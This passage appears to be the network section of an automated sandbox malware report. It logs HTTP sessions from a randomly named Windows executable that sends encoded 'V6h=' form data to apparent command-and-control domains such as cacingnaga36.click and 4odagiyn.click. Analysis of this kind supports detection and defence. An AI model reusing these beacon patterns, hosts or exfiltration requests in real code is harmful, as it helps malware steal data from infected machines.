59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 75 2f 39 49 2b 44 54 30 69 59 57 63 50 2b 41 51 6f 76 6c 37 4f 79 2b 56 45 34 63 4f 77 4f 41 37 49 56 56 6f 36 33 52 59 73 54 32 31 31 6c 66 4d 39 68 49 4b 43 4f 51 6e 73 70 57 4d 70 6d 32 79 67 36 7a 47 30 75 33 4d 52 51 43 6b 63 47 41 7a 7a 5a 76 73 62 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_u/9I+DT0iYWcP+AQovl7Oy+VE4cOwOA7IVVo63RYsT211lfM9hIKCOQnspWMpm2yg6zG0u3MRQCkcGAzzZvsbA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:27:33.552799940 CEST	591	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNTdkOTg2YTctN2RiMy00ZmJjLTlmZjgtNTVmNjRiOWRjOTBlIiwicGFnZV90aW1lIjoxNzI1NTM5Mj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	57233	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:35.625698090 CEST	740	OUT	POST /ssw0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.cacingnaga36.click Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.cacingnaga36.click Referer: http://www.cacingnaga36.click/ssw0/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 4a 55 36 57 62 47 78 2b 58 51 4b 38 67 32 6d 4f 61 38 71 2f 78 6d 33 56 45 79 62 41 68 64 48 52 32 71 32 43 49 53 77 55 79 5a 4e 5a 4e 57 34 75 4d 44 6e 53 47 32 53 30 59 4b 30 67 41 6c 70 57 6a 36 65 61 39 45 43 75 34 34 57 50 72 64 36 70 4e 2b 7a 4a 63 37 68 6f 69 2f 52 65 2f 31 63 35 54 2b 66 2b 79 79 67 74 4c 55 6a 48 6c 39 6f 33 71 6d 67 37 4c 4d 67 50 71 6e 72 43 46 34 74 36 53 53 50 78 42 50 69 76 5a 42 52 41 79 38 45 63 73 68 2f 65 65 65 79 75 58 44 37 53 58 72 37 7a 64 53 76 2b 55 6b 54 34 6a 55 53 6d 6d 42 6e 4f 72 4b 54 5a 46 6e 79 75 64 43 54 41 62 67 62 6d 54 31 43 79 41 44 65 4f 59 38 76 41 75 6b 4f 6e 33 65 6a 49 31 53 46 6b 67 43 4e 42 Data Ascii: V6h=JU6WbGx+XQK8g2mOa8q/xm3VEybAhdHR2q2CISwUyZNZNW4uMDnSG2S0YK0gAlpWj6ea9ECu44WPrd6pN+zJc7hoi/Re/1c5T+f+yygtLUjHl9o3qmg7LMgPqnrCF4t6SSPxBPivZBRAy8Ecsh/eeeyuXD7SXr7zdSv+UkT4jUSmmBnOrKTZFnyudCTAbgbmT1CyADeOY8vAukOn3ejI1SFkgCNB
Sep 5, 2024 14:27:36.110003948 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:27:35 GMT content-type: text/html; charset=utf-8 content-length: 1138 x-request-id: 153569f9-e0b6-4531-a87c-c4338f5fe676 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_u/9I+DT0iYWcP+AQovl7Oy+VE4cOwOA7IVVo63RYsT211lfM9hIKCOQnspWMpm2yg6zG0u3MRQCkcGAzzZvsbA== set-cookie: parking_session=153569f9-e0b6-4531-a87c-c4338f5fe676; expires=Thu, 05 Sep 2024 12:42:36 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 75 2f 39 49 2b 44 54 30 69 59 57 63 50 2b 41 51 6f 76 6c 37 4f 79 2b 56 45 34 63 4f 77 4f 41 37 49 56 56 6f 36 33 52 59 73 54 32 31 31 6c 66 4d 39 68 49 4b 43 4f 51 6e 73 70 57 4d 70 6d 32 79 67 36 7a 47 30 75 33 4d 52 51 43 6b 63 47 41 7a 7a 5a 76 73 62 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_u/9I+DT0iYWcP+AQovl7Oy+VE4cOwOA7IVVo63RYsT211lfM9hIKCOQnspWMpm2yg6zG0u3MRQCkcGAzzZvsbA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:27:36.110493898 CEST	591	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTUzNTY5ZjktZTBiNi00NTMxLWE4N2MtYzQzMzhmNWZlNjc2IiwicGFnZV90aW1lIjoxNzI1NTM5Mj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	57234	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:38.170308113 CEST	1757	OUT	POST /ssw0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.cacingnaga36.click Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.cacingnaga36.click Referer: http://www.cacingnaga36.click/ssw0/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 4a 55 36 57 62 47 78 2b 58 51 4b 38 67 32 6d 4f 61 38 71 2f 78 6d 33 56 45 79 62 41 68 64 48 52 32 71 32 43 49 53 77 55 79 5a 46 5a 4e 6b 77 75 65 79 6e 53 48 32 53 30 56 71 31 6e 41 6c 70 50 6a 36 47 57 39 45 4f 51 34 2b 61 50 70 2b 43 70 4c 4b 6e 4a 58 37 68 6f 74 66 52 66 37 31 63 6f 54 36 36 33 79 32 41 74 4c 55 6a 48 6c 37 55 33 6a 58 67 37 4a 4d 67 4f 38 33 72 65 55 6f 74 53 53 53 58 4c 42 50 33 59 59 78 78 41 79 63 55 63 76 54 6e 65 57 65 79 73 51 44 36 42 58 72 33 77 64 53 79 50 55 67 54 53 6a 54 65 6d 77 6e 6d 53 7a 35 53 46 51 48 32 69 65 54 54 56 62 31 2f 6f 61 55 2b 79 43 51 4f 33 59 75 76 52 2b 68 53 38 39 76 50 48 72 45 6c 4c 6f 56 59 77 75 37 48 4d 68 50 69 37 43 67 30 36 33 79 43 30 6b 73 4a 69 69 4e 72 46 6c 79 42 4a 6a 6e 70 66 79 37 55 46 2f 55 52 4a 73 55 6b 4f 72 44 45 66 51 56 77 7a 65 4d 54 43 4b 64 41 71 2f 51 4f 48 49 34 4d 6c 4a 76 38 47 73 71 61 53 39 76 58 2f 65 69 47 6b 4b 77 30 57 43 34 51 71 6b 4d 48 4a 6e 38 41 4a 66 6b 67 51 68 6c 41 59 4a 4b 66 5a 4d 77 [TRUNCATED] Data Ascii: V6h=JU6WbGx+XQK8g2mOa8q/xm3VEybAhdHR2q2CISwUyZFZNkwueynSH2S0Vq1nAlpPj6GW9EOQ4+aPp+CpLKnJX7hotfRf71coT663y2AtLUjHl7U3jXg7JMgO83reUotSSSXLBP3YYxxAycUcvTneWeysQD6BXr3wdSyPUgTSjTemwnmSz5SFQH2ieTTVb1/oaU+yCQO3YuvR+hS89vPHrElLoVYwu7HMhPi7Cg063yC0ksJiiNrFlyBJjnpfy7UF/URJsUkOrDEfQVwzeMTCKdAq/QOHI4MlJv8GsqaS9vX/eiGkKw0WC4QqkMHJn8AJfkgQhlAYJKfZMwMGyTFDx+3VFE/THtQ958m6Wv36r+aRbkIXX+tUK4ox2RdTFNIbaBLsW2Wqz0JROQxd7Z3UK3/vy9QdUcH2lTt7I4Bq3LhAJyxevxIM/WYIwIlluli36DFTvWiCXZxLYaDk15yV30ImaZu6g3ulBCXi3BT6KyQbJllLWG7/yQ+WqQAV3s9qOScogqscwD2MalG+qk1jTTqQWkHLChcFqaQSEe9/c/3x87saVxnGN5Eo0f8qjxqU0VoDo8LHzgo82xlS5uClZS3Pgyi5OPgVr63Y8AtTmjvIQjqZ3JfeIDq53a01ezJnBlUHSBRGJ0jpSAAKh2kVE6Si+wVW5zB8wsOFHP1Ubd9hxP1UptXuBJX8KuuuJXq7jbU5DrVBzQbsLiSPANnIwzQr9N4HXtzqMQ2mYn7Y81JoNaF5oeviBI0H2LVocfHQZRWnmiQUE9th+KoCXbPkhuzdHBYNW9s2rfUFcSF5tSSC/+UEeJo4ZT85EVMdCihC28s5UvkZ5qec6ElFf00lgpm/VTONY1j9gEbCfLg5o46VgCr3mbSGEGjjrMWzDHo6MdstDBqV4QG0PwKDF618xQU25H7DlWXZTYGufZwXyxENW86IalY7nfljIpOOIqVE5ZApFo+oajucqQcHBwANEYWuJnIDa7iRhEEulldGhvubCGUD [TRUNCATED]
Sep 5, 2024 14:27:38.652837992 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:27:37 GMT content-type: text/html; charset=utf-8 content-length: 1138 x-request-id: 757930bf-d9a9-4d20-aa0d-ef6517632529 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_u/9I+DT0iYWcP+AQovl7Oy+VE4cOwOA7IVVo63RYsT211lfM9hIKCOQnspWMpm2yg6zG0u3MRQCkcGAzzZvsbA== set-cookie: parking_session=757930bf-d9a9-4d20-aa0d-ef6517632529; expires=Thu, 05 Sep 2024 12:42:38 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 75 2f 39 49 2b 44 54 30 69 59 57 63 50 2b 41 51 6f 76 6c 37 4f 79 2b 56 45 34 63 4f 77 4f 41 37 49 56 56 6f 36 33 52 59 73 54 32 31 31 6c 66 4d 39 68 49 4b 43 4f 51 6e 73 70 57 4d 70 6d 32 79 67 36 7a 47 30 75 33 4d 52 51 43 6b 63 47 41 7a 7a 5a 76 73 62 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_u/9I+DT0iYWcP+AQovl7Oy+VE4cOwOA7IVVo63RYsT211lfM9hIKCOQnspWMpm2yg6zG0u3MRQCkcGAzzZvsbA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:27:38.652857065 CEST	591	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNzU3OTMwYmYtZDlhOS00ZDIwLWFhMGQtZWY2NTE3NjMyNTI5IiwicGFnZV90aW1lIjoxNzI1NTM5Mj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	57235	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:40.715140104 CEST	453	OUT	GET /ssw0/?V6h=EWS2YwJnJiunoUuFc/7D9RbaJ3v4wM/73ZiSCzwa3KkaAEYrAxr2MHaEXaA/BV5/vIbe5XGczNGh+M2iNsrtVcMRpqBE9VdECLv8jlI9PFfIoqokrAMGKtNOgnbIBrYWGQ==&sH=nVVHdDTx2PSTVJ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.cacingnaga36.click Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:27:41.175417900 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:27:40 GMT content-type: text/html; charset=utf-8 content-length: 1514 x-request-id: 8941a0cf-b407-4c0b-917a-5a89df90e72b cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Tw+b0uDS7S9ov7Mr2xZBdYCvgHdYca71/64PfR7jKpOVyZTg7gU8z6e3VTTui3DgkKWb1AvJCbm9M69xRuDOdw== set-cookie: parking_session=8941a0cf-b407-4c0b-917a-5a89df90e72b; expires=Thu, 05 Sep 2024 12:42:41 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 54 77 2b 62 30 75 44 53 37 53 39 6f 76 37 4d 72 32 78 5a 42 64 59 43 76 67 48 64 59 63 61 37 31 2f 36 34 50 66 52 37 6a 4b 70 4f 56 79 5a 54 67 37 67 55 38 7a 36 65 33 56 54 54 75 69 33 44 67 6b 4b 57 62 31 41 76 4a 43 62 6d 39 4d 36 39 78 52 75 44 4f 64 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Tw+b0uDS7S9ov7Mr2xZBdYCvgHdYca71/64PfR7jKpOVyZTg7gU8z6e3VTTui3DgkKWb1AvJCbm9M69xRuDOdw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:27:41.175461054 CEST	967	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODk0MWEwY2YtYjQwNy00YzBiLTkxN2EtNWE4OWRmOTBlNzJiIiwicGFnZV90aW1lIjoxNzI1NTM5Mj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	57236	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:49.244653940 CEST	457	OUT	GET /wuux/?sH=nVVHdDTx2PSTVJ&V6h=G8W1V2+ngxJ+E83/0IyfiXupIqoHasoRgPgAY3+/EHQIvd2Wul84Lo8VWixQDtg5AMG3Phy0eNTP33PkrrD0t0eGx0WSmGJ1HH0cwOwxD95TaQSaBMeTfZ443OH1gA0wDQ== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.whiskeydecanterset.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:27:49.708673954 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:27:48 GMT content-type: text/html; charset=utf-8 content-length: 1522 x-request-id: 0f5c48c8-e287-40c8-8918-684fe455930c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_K7P5yx6HRAV+XcWEYWP6kd6LFXOozqvCLo7Kwaf3x1KcozZ2Sablk4NfjRyA4M+y5VZ6JcX1iTOKWFosnbgFag== set-cookie: parking_session=0f5c48c8-e287-40c8-8918-684fe455930c; expires=Thu, 05 Sep 2024 12:42:49 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4b 37 50 35 79 78 36 48 52 41 56 2b 58 63 57 45 59 57 50 36 6b 64 36 4c 46 58 4f 6f 7a 71 76 43 4c 6f 37 4b 77 61 66 33 78 31 4b 63 6f 7a 5a 32 53 61 62 6c 6b 34 4e 66 6a 52 79 41 34 4d 2b 79 35 56 5a 36 4a 63 58 31 69 54 4f 4b 57 46 6f 73 6e 62 67 46 61 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_K7P5yx6HRAV+XcWEYWP6kd6LFXOozqvCLo7Kwaf3x1KcozZ2Sablk4NfjRyA4M+y5VZ6JcX1iTOKWFosnbgFag==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:27:49.709034920 CEST	975	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMGY1YzQ4YzgtZTI4Ny00MGM4LTg5MTgtNjg0ZmU0NTU5MzBjIiwicGFnZV90aW1lIjoxNzI1NTM5Mj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	57237	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:54.728523970 CEST	708	OUT	POST /f1qc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.4odagiyn.click Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.4odagiyn.click Referer: http://www.4odagiyn.click/f1qc/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 73 78 59 74 36 37 50 59 64 70 50 77 58 6a 4b 78 30 45 2b 36 51 4c 79 48 68 78 69 59 75 36 72 69 77 50 68 4a 46 6b 31 36 30 6e 50 7a 44 41 50 5a 57 34 33 31 61 42 4b 46 38 43 54 38 4f 6a 66 6a 41 4c 69 78 4d 52 38 2b 74 32 6c 63 30 4b 55 4c 56 69 30 74 4f 6e 76 31 62 75 30 41 6e 44 4d 72 55 48 72 68 63 70 64 57 33 72 50 46 42 72 36 45 63 7a 75 57 52 78 74 43 78 66 6a 61 73 46 36 6f 66 6c 73 66 7a 57 47 50 5a 6d 48 58 51 54 46 66 69 6c 79 39 6b 67 4d 44 77 66 4a 68 32 63 61 62 64 75 7a 2f 51 50 58 71 66 71 37 73 62 64 4e 71 39 73 52 6a 76 30 53 67 6d 74 49 4a 51 4d 49 38 33 66 43 50 33 4c 49 3d Data Ascii: V6h=sxYt67PYdpPwXjKx0E+6QLyHhxiYu6riwPhJFk160nPzDAPZW431aBKF8CT8OjfjALixMR8+t2lc0KULVi0tOnv1bu0AnDMrUHrhcpdW3rPFBr6EczuWRxtCxfjasF6oflsfzWGPZmHXQTFfily9kgMDwfJh2cabduz/QPXqfq7sbdNq9sRjv0SgmtIJQMI83fCP3LI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
